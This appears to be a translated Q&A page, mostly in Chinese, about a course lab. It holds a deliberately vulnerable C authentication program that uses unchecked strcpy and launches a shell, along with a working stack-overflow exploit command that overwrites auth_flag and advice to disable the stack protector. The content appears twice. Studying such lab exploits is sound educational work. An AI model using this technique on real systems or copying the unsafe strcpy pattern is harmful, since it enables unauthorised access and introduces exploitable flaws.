如何通过缓冲区溢出攻击获取root权限?
How to get root access by buffer overflow attack?
如何对此进行缓冲区溢出攻击以获得root访问权限。
我试图找到一个地址,但没有找到很多线索。
我禁用了 ASLR,并且在编译时也没有使用堆栈指针。
当我输入超过 16 个字节时,它在 gdb 中出现分段错误:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif
int check_authentication(char *username, char *password) {
int auth_flag = 0;
char team_var[TEAM_VAR_SIZE];
char username_buffer[16];
char password_buffer[16];
strcpy(username_buffer, username);
strcpy(password_buffer, password);
if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <username> <password>\n", argv[0]);
exit(0);
}
if(TEAM_VAR_SIZE == 0) {
printf("\nPlease set the Team Var before moving forward with the lab.\n");
}
if(check_authentication(argv[1], argv[2]) == 1) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
system("/bin/sh");
} else {
printf("\nAccess Denied.\n");
}
}
您可以使用不安全 strcpy(username_buffer, username)
导致的缓冲区溢出重写 auth_flag
。 username_buffer
长度(16)需要添加 412 个字节:team_var
缓冲区为 410,填充为 2(sizeof(int) = 4
大于或等于 410 的最小倍数为 412)。
$ ./test "$(printf '%0*d\x1' $((16 + 412)) 0)" "x"
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$
如果遇到以下错误:
*** stack smashing detected ***: <unknown> terminated
然后您需要使用以下 GCC 标志编译您的程序:-fno-stack-protector
。金丝雀是防止攻击者在堆栈上进行缓冲区溢出的安全措施。它在缓冲区末尾添加一个随机值,以防止用户重写堆栈上的 return 地址 and/or 变量。
如何对此进行缓冲区溢出攻击以获得root访问权限。 我试图找到一个地址,但没有找到很多线索。 我禁用了 ASLR,并且在编译时也没有使用堆栈指针。 当我输入超过 16 个字节时,它在 gdb 中出现分段错误:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifndef TEAM_VAR_SIZE
#define TEAM_VAR_SIZE 410 // <------ Change this from 0 to your team's value.
#endif
int check_authentication(char *username, char *password) {
int auth_flag = 0;
char team_var[TEAM_VAR_SIZE];
char username_buffer[16];
char password_buffer[16];
strcpy(username_buffer, username);
strcpy(password_buffer, password);
if(strcmp(username_buffer, "This doesn't matter") == 0 && strcmp(password_buffer, "neither does this") == 0)
auth_flag = 1;
return auth_flag;
}
int main(int argc, char *argv[]) {
if(argc < 3) {
printf("Usage: %s <username> <password>\n", argv[0]);
exit(0);
}
if(TEAM_VAR_SIZE == 0) {
printf("\nPlease set the Team Var before moving forward with the lab.\n");
}
if(check_authentication(argv[1], argv[2]) == 1) {
printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
printf(" Access Granted.\n");
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n\n");
system("/bin/sh");
} else {
printf("\nAccess Denied.\n");
}
}
您可以使用不安全 strcpy(username_buffer, username)
导致的缓冲区溢出重写 auth_flag
。 username_buffer
长度(16)需要添加 412 个字节:team_var
缓冲区为 410,填充为 2(sizeof(int) = 4
大于或等于 410 的最小倍数为 412)。
$ ./test "$(printf '%0*d\x1' $((16 + 412)) 0)" "x"
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
$
如果遇到以下错误:
*** stack smashing detected ***: <unknown> terminated
然后您需要使用以下 GCC 标志编译您的程序:-fno-stack-protector
。金丝雀是防止攻击者在堆栈上进行缓冲区溢出的安全措施。它在缓冲区末尾添加一个随机值,以防止用户重写堆栈上的 return 地址 and/or 变量。